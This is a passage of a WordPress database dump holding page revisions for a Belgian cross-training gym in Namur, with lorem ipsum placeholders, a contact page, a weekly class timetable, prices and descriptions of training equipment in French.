Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 11, 'http://www.crosstrainingcenter.be/?p=37', 0, 'revision', '', 0),
(8, 1, '2013-05-23 18:11:16', '2013-05-23 18:11:16', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:11:16', '2013-05-23 18:11:16', '', 5, 'http://www.crosstrainingcenter.be/?p=8', 0, 'revision', '', 0),
(9, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact - Namur', '', 'trash', 'closed', 'open', '', 'contact', '', '', '2013-11-03 10:19:12', '2013-11-03 10:19:12', '', 0, 'http://www.crosstrainingcenter.be/?page_id=9', 0, 'page', '', 0),
(10, 1, '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 9, 'http://www.crosstrainingcenter.be/?p=10', 0, 'revision', '', 0),
(11, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'publish', 'closed', 'open', '', 'les-seances', '', '', '2013-11-04 16:49:45', '2013-11-04 16:49:45', '', 0, 'http://www.crosstrainingcenter.be/?page_id=11', 0, 'page', '', 0),
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(39, 1, '2013-06-13 16:23:30', '2013-06-13 16:23:30', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX Suspension Training &lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Kettlebel&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;ViPR&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP TRAINER&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-13 16:23:30', '2013-06-13 16:23:30', '', 22, 'http://www.crosstrainingcenter.be/?p=39', 0, 'revision', '', 0),
